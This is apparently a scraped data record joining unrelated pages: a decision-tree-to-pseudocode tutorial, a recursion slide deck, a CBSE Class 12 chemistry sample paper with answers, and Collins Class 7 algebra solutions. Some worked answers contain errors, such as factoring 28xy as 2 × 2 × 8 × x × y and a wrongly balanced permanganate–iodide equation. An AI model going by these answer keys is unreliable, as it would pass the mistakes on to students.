tree.DecisionTreeClassifier(criterion='entropy')\ndt.fit(X, y)``````\n\n# Representing the Model Visually\n\nOne of the easiest ways to interpret a decision tree is visually, accomplished with Scikit-learn using these few lines of code:\n\n``````dotfile = open(\"dt.dot\", 'w')\ntree.export_graphviz(dt, out_file=dotfile, feature_names=iris.feature_names)\ndotfile.close()``````\n\nCopying the contents of the created file ('dt.dot' in our example) to a graphviz rendering agent, we get the following representation of our decision tree:", null, "Visual representation of our decision tree using a graphviz rendering agent.\n\n# Representing the Model as a Function\n\nAs stated at the outset of this post, we will look at a couple of different ways for textually representing decision trees.\n\nThe first is representing the decision tree model as a function.\n\n``````from sklearn.tree import _tree\n\ndef tree_to_code(tree, feature_names):\n\"\"\"\nOutputs a decision tree model as a Python function\n\nParameters:\n-----------\ntree: decision tree model\nThe decision tree to represent as a function\nfeature_names: list\nThe feature names of the dataset used for building the decision tree\n\"\"\"\n\ntree_ = tree.tree_\nfeature_name = [\nfeature_names[i] if i != _tree.TREE_UNDEFINED else \"undefined!\"\nfor i in tree_.feature\n]\nprint(\"def tree({}):\".format(\", \".join(feature_names)))\n\ndef recurse(node, depth):\nindent = \" \" * depth\nif tree_.feature[node] != _tree.TREE_UNDEFINED:\nname = feature_name[node]\nthreshold = tree_.threshold[node]\nprint(\"{}if {} <= {}:\".format(indent, name, threshold))\nrecurse(tree_.children_left[node], depth + 1)\nprint(\"{}else: # if {} > {}\".format(indent, name, threshold))\nrecurse(tree_.children_right[node], depth + 1)\nelse:\nprint(\"{}return {}\".format(indent, tree_.value[node]))\n\nrecurse(0, 1)``````\n\nLet's call this function and see the results:\n\n``tree_to_code(dt, list(iris.feature_names))``\n\n```def tree(sepal length (cm), sepal width (cm), petal length (cm), petal width (cm)):\nif petal length (cm) <= 2.45000004768:\nreturn [[ 50. 0. 0.]]\nelse: # if petal length (cm) > 2.45000004768\nif petal width (cm) <= 1.75:\nif petal length (cm) <= 4.94999980927:\nif petal width (cm) <= 1.65000009537:\nreturn [[ 0. 47. 0.]]\nelse: # if petal width (cm) > 1.65000009537\nreturn [[ 0. 0. 1.]]\nelse: # if petal length (cm) > 4.94999980927\nif petal width (cm) <= 1.54999995232:\nreturn [[ 0. 0. 3.]]\nelse: # if petal width (cm) > 1.54999995232\nif petal length (cm) <= 5.44999980927:\nreturn [[ 0. 2. 0.]]\nelse: # if petal length (cm) > 5.44999980927\nreturn [[ 0. 0. 1.]]\nelse: # if petal width (cm) > 1.75\nif petal length (cm) <= 4.85000038147:\nif sepal length (cm) <= 5.94999980927:\nreturn [[ 0. 1. 0.]]\nelse: # if sepal length (cm) > 5.94999980927\nreturn [[ 0. 0. 2.]]\nelse: # if petal length (cm) > 4.85000038147\nreturn [[ 0. 0. 43.]]```\n\nInteresting. Let's see if we can improve interpretability by stripping away some of the \"functionality,\" provided it is not required.\n\n# Representing the Model as Pseudocode\n\nNext, a slight reworking of the above code results in the promised goal of this post's title: a set of decision rules for representing a decision tree, in slightly less-Pythony pseudocode.\n\n``````def tree_to_pseudo(tree, feature_names):\n\"\"\"\nOutputs a decision tree model as if/then pseudocode\n\nParameters:\n-----------\ntree: decision tree model\nThe decision tree to represent as pseudocode\nfeature_names: list\nThe feature names of the dataset used for building the decision tree\n\"\"\"\n\nleft = tree.tree_.children_left\nright = tree.tree_.children_right\nthreshold = tree.tree_.threshold\nfeatures = [feature_names[i] for i in tree.tree_.feature]\nvalue = tree.tree_.value\n\ndef recurse(left, right, threshold, features, node, depth=0):\nindent = \" \" * depth\nif (threshold[node] != -2):\nprint(indent,\"if ( \" + features[node] + \" <= \" + str(threshold[node]) + \" ) {\")\nif left[node] != -1:\nrecurse (left, right, threshold, features, left[node], depth+1)\nprint(indent,\"} else {\")\nif right[node] != -1:\nrecurse (left, right, threshold, features, right[node], depth+1)\nprint(indent,\"}\")\nelse:\nprint(indent,\"return \" + str(value[node]))\n\nrecurse(left, right, threshold, features, 0)``````\n\nLet's test this function:\n\n``tree_to_pseudo(dt, list(iris.feature_names))``\n\n``` if ( petal length (cm) <= 2.45000004768 ) {\nreturn [[ 50. 0. 0.]]\n} else {\nif ( petal width (cm) <= 1.75 ) {\nif ( petal length (cm) <= 4.94999980927 ) {\nif ( petal width (cm) <= 1.65000009537 ) {\nreturn [[ 0. 47. 0.]]\n} else {\nreturn [[ 0. 0. 1.]]\n}\n} else {\nif ( petal width (cm) <= 1.54999995232 ) {\nreturn [[ 0. 0. 3.]]\n} else {\nif ( petal length (cm) <= 5.44999980927 ) {\nreturn [[ 0. 2. 0.]]\n} else {\nreturn [[ 0. 0. 1.]]\n}\n}\n}\n} else {\nif ( petal length (cm) <= 4.85000038147 ) {\nif ( sepal length (cm) <= 5.94999980927 ) {\nreturn [[ 0. 1. 0.]]\n} else {\nreturn [[ 0. 0. 2.]]\n}\n} else {\nreturn [[ 0. 0. 43.]]\n}\n}\n}\n```\n\nThis looks pretty good as well, and — in my computer science-trained mind — the use of well-placed C-style braces makes this a bit more legible then the previous attempt.\n\nThese gems have made me want to modify code to get to true decision rules, which I plan on playing with after finishing this post. If I get anywhere of note, I will return here and post my findings.\n\nMatthew Mayo (@mattmayo13) is a Data Scientist and the Editor-in-Chief of KDnuggets, the seminal online Data Science and Machine Learning resource. His interests lie in natural language processing, algorithm design and optimization, unsupervised learning, neural networks, and automated approaches to machine learning. Matthew holds a Master's degree in computer science and a graduate diploma in data mining. He can be reached at editor1 at kdnuggets[dot]com.\n\nBy subscribing you accept KDnuggets Privacy Policy\n\nBy subscribing you accept KDnuggets Privacy Policy\n\nBy subscribing you accept KDnuggets Privacy Policy" ]
[ null, "https://www.kdnuggets.com/wp-content/uploads/dt-iris-interpretability.jpg", null ]
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https://ssledz.github.io/presentations/recursion.html
[ "## Recursion\n\nA quick introduction\n\nL2L Warszawa 2017\n\nSławomir Śledź", null, "Senior Java Developer\n\n### The Talk\n\n• Recursion in theory\n• recursive procedure/function\n• recursive process\n• recursion call to iteration transformation\n• Practical approach to solve recursive problems\n• how to recognize\n• how to approach\n• some examples\n• Backup slides\n• tree recursion\n• trampoline\n\n### Recursion\n\nRecursion in computer science is a method where the solution to a problem depends on solutions to smaller instances of the same problem.\n\nI will focus on recursion in the context of computation\n\n### Recursive procedure\n\nInformal definition says that recursive procedure is a procedure which calls itself.\n\nCan be defined by two properties:\n\n• a simple base case - termination scenario (does not use recursion)\n• a set of rules that reduce all other cases toward the base case\n\n### Procedure vs Process\n\nA procedure is a set of steps based on a set of rules. (step-by-step description of the process)\n\nA process is a running of procedure, involving following the rules and performing the steps. (activity)\n\n### Example of recursive procedure\n\n``````\nn! = n * (n - 1) * (n - 2)...3 * 2 * 1\n``````\n``````\ndef factorial(n):\nif n == 1 or n == 0:\nreturn 1\nreturn n * factorial(n - 1)\n``````\n\n### Linear recursive process\n\n``````\n(factorial 6)\n(6 * (factorial 5))\n(6 * (5 * (factorial 4)))\n(6 * (5 * (4 * (factorial 3))))\n(6 * (5 * (4 * (3 * (factorial 2)))))\n(6 * (5 * (4 * (3 * (2 * (factorial 1))))))\n(6 * (5 * (4 * (3 * (2 * 1)))))\n(6 * (5 * (4 * (3 * 2))))\n(6 * (5 * (4 * 6)))\n(6 * (5 * 24))\n(6 * 120)\n720\n``````\n\n### Observation\n\n• expansion proceeds as if the process is building a chain of deferred operations\n• contraction occurs when operations are actually performed\n\nSuch process is called recursive process\n\nWhen the length of deferred operations is increasing proportional to the arguments then such process is called 'linear recursive process'\n\n### Factorial v2\n\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nif counter > max_count:\nreturn product\nreturn fact_iter(counter * product, counter + 1, max_count)\nreturn fact_iter(1, 1, n)\n``````\nComputation can be described following\n``````\nproduct = counter * product\ncounter = counter + 1\n``````\n\n### Linear iterative process\n\n``````\n(factorial 6)\n(fact-iter 1 1 6)\n(fact-iter 1 2 6)\n(fact-iter 2 3 6)\n(fact-iter 6 4 6)\n(fact-iter 24 4 6)\n(fact-iter 120 6 6)\n(fact-iter 720 7 6)\n720\n``````\n\n### Observation\n\n• shape of the process does not expand\n• for each step, in order to fully describe the state we need only those variables:\n• product\n• counter\n• max_count\n• last action of the procedure does not need to build up a new call frame\n\nSuch process is called iterative process\n\n### Observation\n\nIterative process can be described by a fixed number of state variables.\n\nWhen the number of steps of the iterative process is a linear function of the argument then such process is called 'linear iterative process'\n\nIf an implementation of procedure generates 'linear iterative process' then we call it tail recursive.\n\n### Recursive vs Iterative - Summary\n\n recursive iterative shape expands and then shrinks the same state maintained by interpreter can be described by fixed number of state variables memory complexity depends on arguments (call stack is used) constant (if tail call enabled)\n\n### Price of recursion\n\n• Deferred long call chain can introduce 'Stack overflow'\n• Consumes more memory\n\nCan we handle this ?\n\n### Tail call optimization\n\nSupported out of the box by\n\n• Common Lisp, Scheme, Racket (Lisp dialects)\n• Scala\n• Kotlin\n• Lua\n• Tcl\n• Perl (using special construct)\n• Elixir (runs on Erlang vm)\n• JavaScript - ECMAScript 6.0\n\n### What about other common languages\n\nWe can describe iterative processes only by resorting to special-purpose looping constructs:\n\n• do\n• repeat\n• until\n• for\n• while\n\n### How to approach heavy recursive functions\n\nWhat to do if we deal with recursive function for which call stack is too small ?\n\n• convert recursive call into tail recursive (if language supports tail call optimization)\n• convert recursive call into iteration\n• try to manage call stack by your own (very inefficient)\n\n#### How to convert recursive calls into iteration in 4 steps\n\n• try to convert all recursive calls into tail calls (If you can't try another method)\n• introduce one-shot loop around the function body\n• convert tail calls into assignments statements\n• make cleanup\n\n#### Convert all recursive calls into tail calls\n\n``````\ndef factorial(n):\nif n == 1 or n == 0:\nreturn 1\nreturn n * factorial(n - 1)\n``````\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nif counter > max_count:\nreturn product\nreturn fact_iter(counter * product, counter + 1, max_count)\nreturn fact_iter(1, 1, n)\n``````\n\n#### Introduce one-shot loop around the function body\n\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nwhile True:\nif counter > max_count:\nreturn product\nreturn fact_iter(counter * product, counter + 1, max_count)\nreturn fact_iter(1, 1, n)\n``````\n\n#### Convert tail calls into assignments statements\n\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nwhile True:\nif counter > max_count:\nreturn product\n(product, counter, max_count) = \\\n(counter * product, counter + 1, max_count)\nreturn fact_iter(1, 1, n)\n``````\n\n#### Cleanup\n\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nwhile counter <= max_count:\n(product, counter, max_count) = \\\n(counter * product, counter + 1, max_count)\nreturn product\nreturn fact_iter(1, 1, n)\n``````\n\n#### Cleanup\n\n``````\ndef factorial(n):\nproduct = 1\ncounter = 1\nwhile counter <= n:\n(product, counter) = (counter * product, counter + 1)\nreturn product\n``````\n\n### Practical approach to solve recursive problems\n\n• How to recognize\n• How to approach\n• Some examples\n\n### How to recognize that we deal with recursion\n\nA good hint is that problem appears to be built off sub-problems\n\nProblems beginning with\n\n• compute the nth... (generate nth Fibonacci number)\n• compute/print/return all... (return all subsets of a set)\n• list the first n...\n\n### How to approach in order to solve the problem\n\nRecursive solutions, by definition, are build off solutions to sub-problems\n\nMany time this means simply to compute f(n) by\n\n• removing something\n• changing the solution for f(n-1)\n• or doing something more complicated :)\n\n### Some guidelines\n\n• think about what the sub-problem is, how many sub-problems does f(n) depend on (in a fibonacci - 2, linked list - 1)\n• solve for a 'base case', so if you need to compute for f(n), first compute it for f(0) or f(1) - this is a usually hard-coded value\n• solve for f(2)\n• understand how to solve for f(3) using f(2) - understand how to translate a solution for sub-problems into real solution\n• generalize for f(n)\n\n### Examples\n\n#### Compute all permutation of a string\n\nTrying to find a pattern and solving for f(0), f(1), f(2)\n\n``````\nperm('a') = 'a'\nperm('b') = 'b'\nperm('c') = 'c'\nperm('ab') = 'ab', 'ba'\nperm('ac') = 'ac', 'ca'\nperm('bc') = 'bc', 'cb'\nperm('abc') = 'abc', 'acb', 'bac', 'bca', 'cab', 'cba'\n``````\n\n#### Compute all permutation of a string\n\nTrying to solve for f(3) using f(2)\n\n``````\nperm('a') = 'a'\nperm('b') = 'b'\nperm('c') = 'c'\nperm('ab') = 'a'|perm('b') + 'b'|perm('a')\nperm('ac') = 'a'|perm('c') + 'c'|perm('a')\nperm('bc') = 'b'|perm('c') + 'c'|perm('b')\nperm('abc') = 'a'|perm('bc') + 'b'|perm('ac') + 'c'|perm('ab')\n``````\n\n#### Compute all permutation of a string\n\n``````\ndef perm(str):\nif len(str) == 1:\nreturn [str]\nperms = []\nfor i in range(0, len(str)):\nsub_str = str[:i] + str[(i+1):]\nsub_perms = perm(sub_str)\nfor sub_perm in sub_perms:\nperms.append(str[i] + sub_perm)\nreturn perms\n``````\n``````\nperm('abc')\n['abc', 'acb', 'bac', 'bca', 'cab', 'cba']\n``````\n\n### Backup slides\n\n• tree recursion\n• trampoline\n\n### Tree recursion\n\nFibonacci numbers\n\n``````\nFib(0) = 0\nFib(1) = 1\nFib(n) = Fib(n - 1) + Fib(n - 2)\n``````\n``````\ndef fib(n):\nif n == 0 or n == 1:\nreturn n\nreturn fib(n - 1) + fib(n - 2)\n``````\n\n### Tree recursion\n\n``````\nfib(5)\n/ \\\n/ \\\n/ \\\nfib(4) \\\n/ \\ \\\nfib(3) fib(2) \\\n/ \\ / \\ \\\nfib(2) fib(1) fib(1) fib(0) fib(3)\n/ \\ | | | / \\\nfib(1) fib(0) 1 1 0 fib(2) fib(1)\n| | / \\ |\n1 0 fib(1) fib(0) 1\n| |\n1 0\n``````\n\n### Observation\n\nMany redundant computation.\n\nProcess shaped like tree\n\n### How to approach ?\n\n• Try to rewrite to have iterative process\n• Dynamic programming\n• problem must have an optimal substructure\n• implementation - memoization\n\n#### Dynamic programming\n\n``````\ndef fib(n):\nmemo = {}\ndef fibc(n):\nif n in memo:\nreturn memo[n]\nif n == 0 or n == 1:\nreturn n\nmemo[n - 1] = fibc(n - 1)\nmemo[n - 2] = fibc(n - 2)\nreturn memo[n - 1] + memo[n - 2]\nreturn fibc(n)\n``````\n\n#### Iterative version\n\n``````\ndef fib(n):\ndef fib_iter(a, b, count):\nif count == 0:\nreturn b\nreturn fib_iter(a + b, a, count -1)\nreturn fib_iter(1, 0, n)\n``````\n\n### Tail call optimization through trampoline\n\nTrampoline is a piece of code that repeatedly calls functions\n\nHere is what the trampoline does\n\n• call function f\n• if function f wants to make a recursive call to itself, it returns the instruction - call(f)(*args, **kwds)\n• trampoline interprets the instruction, and calls f back\n• this process repeats until f wants to return a final result z, then it returns instruction result(z)\n• trampoline interprets instruction result(z) by returning z to its caller\n\n### Example of transformation\n\n``````\ndef factorial(n):\ndef fact_iter(product, counter, max_count):\nif counter > max_count:\nreturn product\nreturn fact_iter(counter * product, counter + 1, max_count)\nreturn fact_iter(1, 1, n)\n``````\n``````\ndef call(f):\ndef g(*args, **kwds):\nreturn f, args, kwds\nreturn g\ndef result(value):\nreturn None, value, None\n\ndef with_trampoline(f):\[email protected](f)\ndef g(*args, **kwds):\nh = f\nwhile h is not None:\nh, args, kwds = h(*args, **kwds)\nreturn args\nreturn g\n``````\n``````\ndef factorial2(n):\ndef fact(product, counter, max_count):\nif counter > max_count:\nreturn result(product)\nreturn call(fact)(counter * product, counter + 1, max_count)\nreturn with_trampoline(fact)(1, 1, n)\n``````\n\n### Running code\n\n``````\nfactorial(1000)\n\nFile \"sample.py\", line 16, in fact_iter\nreturn fact_iter(counter * product, counter + 1, max_count)\nFile \"sample.py\", line 16, in fact_iter\nreturn fact_iter(counter * product, counter + 1, max_count)\nFile \"sample.py\", line 14, in fact_iter\nif counter > max_count:\nRecursionError: maximum recursion depth exceeded in comparison\n``````\n``````\nfactorial2(1000)\n\n# 1000! = ...\n``````\n\nThank you -:)" ]
[ null, "https://www.gravatar.com/avatar/ccd7a764d62ec150d1a6c48518835736", null ]
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https://ncertmcq.com/cbse-sample-papers-for-class-12-chemistry-paper-1/
[ "CBSE Sample Papers for Class 12 Chemistry Paper 1 are part of CBSE Sample Papers for Class 12 Chemistry. Here we have given CBSE Sample Papers for Class 12 Chemistry Paper 1.\n\n## CBSE Sample Papers for Class 12 Chemistry Paper 1\n\n Board CBSE Class XII Subject Chemistry Sample Paper Set Paper 1 Category CBSE Sample Papers\n\nStudents who are going to appear for CBSE Class 12 Examinations are advised to practice the CBSE sample papers given here which is designed as per the latest Syllabus and marking scheme as prescribed by the CBSE is given here. Paper 1 of Solved CBSE Sample Paper for Class 12 Chemistry is given below with free PDF download solutions.\n\nTime Allowed : 3 Hours\n\nMax. Marks : 70\n\nGeneral Instructions\n\n• All questions are compulsory.\n• Question number 1 to 5 are very short answer questions and carry 1 mark each.\n• Question number 6 to 10 are short answer questions and carry 2 marks each.\n• Question number 11 to 22 are also short answer questions and carry 3 marks each.\n• Question number 23 is a value based question and carry 4 marks.\n• Question number 24 to 26 are long answer questions and carry 5 marks each.\n• Use log table, if necessary. Use of calculators is not allowed.\n\nQuestions\n\nQuestion 1.\nWhy are aquatic species more comfortable in cold water as compared to warm water?\n\nQuestion 2.\nWrite IUPAC name of", null, "Question 3.\nWhich of the following complex is more stable, write its IUPAC name:\n[CO(NH3)6]3+ or [Co(CO)6]3+\n\nQuestion 4.\nName the method used for the refining of Zirconium metal.\n\nQuestion 5.\nHow are deltas formed?\n\nQuestion 6.\nWrite two differences between Covalent and Molecular solids.\n\nQuestion 7.\nCalculate ΔG° for the following cell at 298 K.", null, "Question 8.\nAn element with density 5.6 g cm 3 exists in bcc lattice with edge length 400 pm. Calculate atomic mass of this element.\n\nQuestion 9.\nDraw the structure of following molecules :\n(a) IF4\n(b) XeF6\n\nQuestion 10.\nCalculate mass of glucose (molar mass 180 g/mol) to be diluted in 60 g of H2O to lower the freezing point of its solution by 0.93 K (Kf for H2O is 1.86 K kg mol-1)\n\nQuestion 11.\n(a) Which solution is used for the leaching of gold metal in the presence of air in the metallurgy of gold?\n(b) Out of C and CO, which is better reducing agent at lower temperature for extraction of iron from its oxide ore.\n(c) Write the principle involved in zone refining.\n\nQuestion 12.\nComplete the following reactions:\n\n1. XeF2 + PF5 →\n2. H3PO3 $$\\underrightarrow { Heat }$$\n3. ClO3 + Cl $$\\underrightarrow { { H }^{ + } }$$\n\nQuestion 13.\n(a) Chlorobenzene is less soluble in water as compared to chloroethane. Explain.\n(b) Which will show faster SN1 reaction and why?", null, "(c) Which of the following will be optically active: 2-chlorobutane or 1-chlorobutane?\n\nQuestion 14.\nExplain the mechanism of the following reactions :\n(a) C2H5OH $$\\xrightarrow [ { Conc.H }_{ 2 }{ SO }_{ 4 } ]{ { 170 }^{ 0 }C }$$ CH2 = CH2\n(b) CH3 – OH $$\\xrightarrow [ { H }^{ + } ]{ 413K }$$ CH– O – CH3", null, "Question 15.\n(a) Distinguish between lyophilic and lyophobic colloids.\n(b) Name the absorbent used for controlling of humidity in operation theatres.\n\nQuestion 16.\n(a) Define the limiting molar conductivity.\n(b) State Kohlrausch’s law.\n(a) Define corrosion.\n\nQuestion 17.\n\n1. State Henry’s law.\n2. Define azeotropes. What type of azeotropes is formed by positive deviation from Raoult’s law? Give an example.\n\nQuestion 18.\nHow would you account for the following?\n\n1. Transition metal exhibits variable oxidation state.\n2. Zr(Z = 40) and Hf(Z = 72) have almost identical radii.\n3. Transition metals and their compounds act as complexing agents.\n\nOR\nComplete the following chemical equations:\n\n1. Cr2O2-7 + Fe2+ + H+\n2. CrO2-4 + H+\n3. MnO4 + I + H2O →\n\nQuestion 19.\n\n1. What type of isomerism is exhibited by the complex [Pt(NH3)6] [NiCl6]?\n2. Write the formula for potassium hexacyanoferrate (II).\n3. Write electronic arrangement of [Co(NH3)6]3+ and discuss its geometry and magnetic behaviour.\n\nQuestion 20.\nGive reason for the following:\n\n1. (CH3)3 P = O exists but (CH3)3 N = O does not.\n2. Phosphorus has more negative electron gain enthalpy than nitrogen.\n3. H2Se is more acidic than H2O.\n\nQuestion 21.\nGive the structure of A, B and C in the following reactions:", null, "Question 22.\nWrite the name and structure of the monomers of the following polymers\n(a) Buna-N\n(b) Nylon-2, 6\n(c) PVC\n\nQuestion 23.\nShivani has recently started facing difficulty in visualising in dark. Prema, her best friend wonders why Shivani cannot see properly in the dark, on observation she found that Shivani often carries junk foods in her lunch. Prema has started sharing her lunch full of green vegetables like carrots, tomatoes, coloured fruits, milk and other dairy products. Shivani is now better and has also started taking a balanced diet.\n\n1. Name the disease Shivani is suffering from.\n2. Name the Vitamin and its source to cure this disease.\n3. What values are shown by Prema?\n\nQuestion 24.\nAccount for the following:\n(a) pKb of aniline is more than that of methylamine.\n(b) Methylamine in water reacts with FeCl3 from hydrated ferric oxide.\n(c) Why do primary amines have higher boiling point than tertiary amines?\n(d) Complete the following equations:\n(i) C6H5N2Cl + C2H5OH →\n(ii) C6H5NH2 + (CH3CO)2O →\nOR\n(a) Give one chemical test to distinguish between:\n(i) Methylamine and dimethylamine\n(ii) Aniline and Benzyl amine\n\n(b) How will you convert:\n(i) Ethanoic acid to Methanamine\n(ii) Aniline to p-bromoaniline\n(c) Arrange according to increasing basic strength C6H5NH2, C6H5N(CH3)2, (C2H5)2NH, CH3NH2\n\nQuestion 25.\n(a) The rate constant for a first order reaction is 60 s-1. How much time will it take to reduce the initial concentration of the reactant to its l/16th value?\n(b) Differentiate between order and molecularity of reaction.\n(c) Write unit of rate constant (K) for\n(i) First order reaction\n(ii) 2nd order reaction\nOR\n\n1. The rate of a reaction quadruples when the temperature changes from 290 K to 310 K, calculate the activation energy for this reaction.\n2. A reaction is first order wrt. P and wrt. 2nd order wrt. Q, write the differential rate equation for it.\n3. Write factors (any two) that affects the rate of a chemical reaction.\n4. Define specific rate constant.\n\nQuestion 26.\n\n1. Phenol is more acidic than cyclohexanol. How?\n2. Which is steam volatile, 2-nitrophenol or 4-nitrophenol and why?\n3. Explain following name reactions with a suitable chemical reaction.\n1. Sandmeyer’s reaction\n2. Cannizaro’s reaction\n\nOR\n(a) Write the reaction of glucose with HI.\n(b) Name the force responsible for stabilisation of secondary structure of protein.\n(c) Arrange according to the given instructions in increasing order:\n(i) Phenol, Methoxyphenol, 2,4-Dinitrophenol (acidic strength)", null, "In cold water the concentration of dissolved oxygen gas is more and hence respiration for aquatic species will be easier so it will be comfortable as compared to warm water.\n\n2-methyl pent-4-enal\n\n[Co(CO)6]3+ complex is more stable. It is due to synergic bonding between metal and carbonyl group.\nIUPAC name → Hexacarbonyl cobalt (III) ion.\n\nvan Arkel method\n\nCoagulation of silt present in river water due to electrolytes present in sea water leads to formation of delta.\n\n Covalent solid Molecular solid (i) High melting point (i) Low melting point (ii) Hard in nature (ii) Soft in nature", null, "= 0.34 – (- 2.37) = 2.71 V\nHere change in number of electrons (n) = 2\nΔG° = – nFEcell° = – 2 × 96500 × 2.71 = – 523.03 kJ/mole\n\nSince d = $$\\frac { ZM }{ { a }^{ 3 }{ N }_{ A } }$$\nFrom question → bcc arrangement i.e. Z = 2\na = 400 pm = 400 × 10-10 cm = 4 × 10-8 cm\nd = 5.6 g/cm3", null, "", null, "", null, "i.e. 54 g glucose needs to be added.\n\n1. Aqueous solution of NaCN or KCN is used for leaching.\n2. CO at lower temperature is a better reducing agent than C for the extraction of iron from its oxide ore.\n3. Impurities are more soluble in molten metal as compared to its solid state.\n\n1. XeF2 + PF5 → [XeF]+ [PF6]\n2. H3PO3 $$\\underrightarrow { Heat }$$ PH+ H3PO4\n3. ClO3 + Cl $$\\underrightarrow { { H }^{ + } }$$ Cl2 + H2O\n\n(a) Phenyl group is more hydrophobic as compared to smaller ethyl group, hence chloroethane is more soluble than chlorobenzene.", null, "Due to more stable carbocation formation which is there because of more number of resonance structures.\n(c) 2-chlorobutane.\n\n(a) H2SO4 + H2O → H3O+ + HSO4", null, "", null, "(a)\n\n Lyophilic colloids Lyophobic colloids (i) Strong forces of attraction between dispersed phase and dispersion medium. (i) Weak forces of attraction between dispersed phase and dispersion medium. (ii) Reversible sol once separated can be reformed. (ii) Irreversible sols once separated cannot be reformed. (iii) These are stable in nature. (iii) These are unstable and can be easily precipitate. (iv) Prepared directly on mixing dispersed phase particles with dispersion medium. For example, gum, starch, etc. (iv) Special methods are required for preparation. For example, metal sulphides.\n\n(b) Silica gel\n\n1. Limiting molar conductivity : The value of molar conductivity when the concentration of electrolytes approaches zero is known as limiting molar conductivity or molar conductivity at infinite dilution. It is the maximum possible molar conductivity for any electrolyte. Represented by Δ°m.\n2. Kohlrausch’s law : It states that the limiting molar conductivity of on electrolyte is the sum of the individual contribution of the anion and cation of the electrolyte, e.g.\nΔ°m(CH3COOH) = λ°CH3COO + λ°H+\n3. Corrosion : The tarnishing of upper layer of any active metal due to environmental factors such as water vapours, CO2, O2, etc. in known as corrosion.\nFor example-rusting of iron, blackening of silver, deposition of greenish layer on copper etc.\n\n(a) Henry’s law : It states that the partial pressure (p) of a gas in vapour phase is proportional to the mol fraction of the gas (x) in the solution. It is expressed as\np = kHx\nwhere kH is known as Henry’s law constant and x is mol fraction.\n\n(b) Azeotropes : It is a binary mixture, having same composition in liquid state as well as in vapour phase and boils at constant temperature like a pure liquid. If there is positive deviation, then minimum boiling azeotrope will form. In case of negative deviations, maximum boiling azeotrope will form.\nExamples 95.5% Ethanol and 4.5% H2O by volume.\n\n1. Transition metals exhibits variable oxidation state due to comparable energies of (n – 1)d and ns orbitals, so electrons from both can form bond.\n2. Due to lanthanoid contraction.\n3. Transition metals acts as complexing agent due to vacant d-orbitals and high charge density on metal ion.\n\nOR\n\n1. Cr2O2-7 + 6Fe2+ + 14H+ → 2Cr3+ + 6Fe3+ + 7H2O\n2. CrO2-4 + H+ → Cr2O2-7\n3. 2MnO4 + 10 I + 8H2O → 2Mn2+ + 5I2 + 16 OH\n\n1. Co-ordination isomerism is exhibited by the complex [Pt(NH3)6] [NiCl6]\n2. K4[Fe(CN)6]\n3. Electronic arrangement for [Co(NH3)6]3+ according to VBT.\nCo → 3d74s2\nCo3+ → 3d64s0", null, "1. Due to lack of d-orbital in N, dπ-pπ bonding in not possible, hence formation of (CH3)3 N = O is not possible.\n2. Due to small size and high electron density in valence shell of N, its electron gain enthalpy is less than phosphorous.\n3. Due to longer H-Se bond than H-O bond H2Se is more acidic.", null, "", null, "1. Night blindness\n2. Vitamin-A, Source – Carrot, cod liver oil, butter, milk etc.\n3. Care for friend, knowledge of science, sincerity in her effort.\n\n(a) Aniline is a weaker base than methylamine due to positive charge on nitrogen, which is there because of resonance. Hence its pKb value is more than methylamine.\n(b) Methyl amine gives OH- ions in water, hence FeCl3 get hydrolysed to give hydrated ferric oxide.", null, "(c) There is intermolecular hydrogen bonding in primary amines, which is not possible in tertiary amines. Hence primary amines have higher boiling point.", null, "OR\n(a) (i)\n\n Reagent Aniline Benxylamine CHCl3 + KOH Heat Offensive Smell appears No reaction\n\n(ii)\n\n Reagent Aniline Benxylamine Br water White ppt forms No ppt NaNO2 + HCl, 00 – 50 C Add phenol Orange-red dye form No such dye formation\n\n(b) (i) Ethanoic acid to methanamine", null, "(ii) Aniline to p-bromo aniline", null, "(c) C6H5NH2 < C6H5N(CH3)2 < CH3NH2 < (C2H5)2NH", null, "(b) Difference between order and molecularity:\n\n Order Molecularity 1. It is experimentally determined with help of rate law equation. 1. It is calculated from balanced chemical reaction or law of mass action equation. 2. It may be positive, negative, zero or fraction. 2. It is always a positive whole number only and cannot be zero or fractional. 3. Applicable for all type of reactions i.e., elementary as well as complex reactions. 3. Applicable only for elementary reactions.\n\n(c) (i) Second-1\n(ii) mol-1 L s-1\nOR\n\n1. from Arrhenius equation", null, "2. rate = K[P]1 [Q]2\n3. Concentration, pressure, temperature, catalyst\n4. It is the rate of reaction when concentration of all the reactants is unity.\n\n1. Since phenoxide ion is resonance stablised, hence phenol is more acidic than cyclohexanol.\n2. 2-nitrophenol is steam volatile due to intramolecular hydrogen bonding whereas 4-nitrophenol undergoes intermolecular hydrogen bonding and thus connected to each other to become less volatile.\n1. Sandmeyer’s reaction", null, "2. Cannizaro’s reaction\nHCHO $$\\underrightarrow { NaOH(Conc.) }$$ CH3OH + HCOONa\n\nOR", null, "(b) Intermolecular and intramolecular hydrogen bonding, coloumbic interactions, disulphide", null, "" ]
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https://nctbsolution.com/collins-maths-solutions-class-7-chapter-11/
[ "# Collins Maths Solutions Class 7 Chapter 11\n\n## Collins Maths Solutions Class 7 Chapter 11 Operations on Algebraic Expressions\n\nWelcome to NCTB Solution. Here with this post we are going to help 7th class students for the Solutions of Collins Maths Class 7 Mathematics, Chapter 11, Operations on Algebraic Expressions. Here students can easily find chapter 7 solutions with exercise wise explanation. Students will find proper solutions for Exercise 11.1, 11.2 and 11.3 Our teacher’s solved every problem with easily understandable methods so that every students can understand easily. Here in this post all the solutions are based on ICSE latest Syllabus.\n\nOperations on Algebraic Expressions Exercise 11.1 Solution :\n\nQuestion no – (1)\n\nSolution :\n\n(a) 36x2y + 28xy + 10\n\n= 36x2y = 2 × 2 × 3 × 3 × x  × x × y\n\n= 28xy = 2 × 2 × 8 × x × y\n\n= 10 = 2 × 5\n\n(b) 2x5 – 6x3 + 28x2 + x  + 9\n\n= 2x= 2 × x × x ×x × x × x\n\n= 6x3 = 2 × 3 × x × x × x\n\n= 28x2 = 2 × 2 × 7 ×  x  × x\n\n= x = x\n\n= 9 =  3 ×  3\n\n(c) 5abc + 25a2bc\n\n= 5abc =  5 × a × b × c\n\n= 25a2bc = 5 × 5 × a × a × b × c\n\nQuestion no – (2)\n\nSolution :\n\n Variable term Numerical coefficient of variable term Constant term 45hx, 32y, 45, 32 -6 3t3, 2t2 3, 2 +10 h/4, 7h 1/4, 7 +21\n\nQuestion no – (3)\n\nSolution :\n\n(a) Degree,\n\n= (2 + 1 + 1)\n\n=  4\n\n(b) 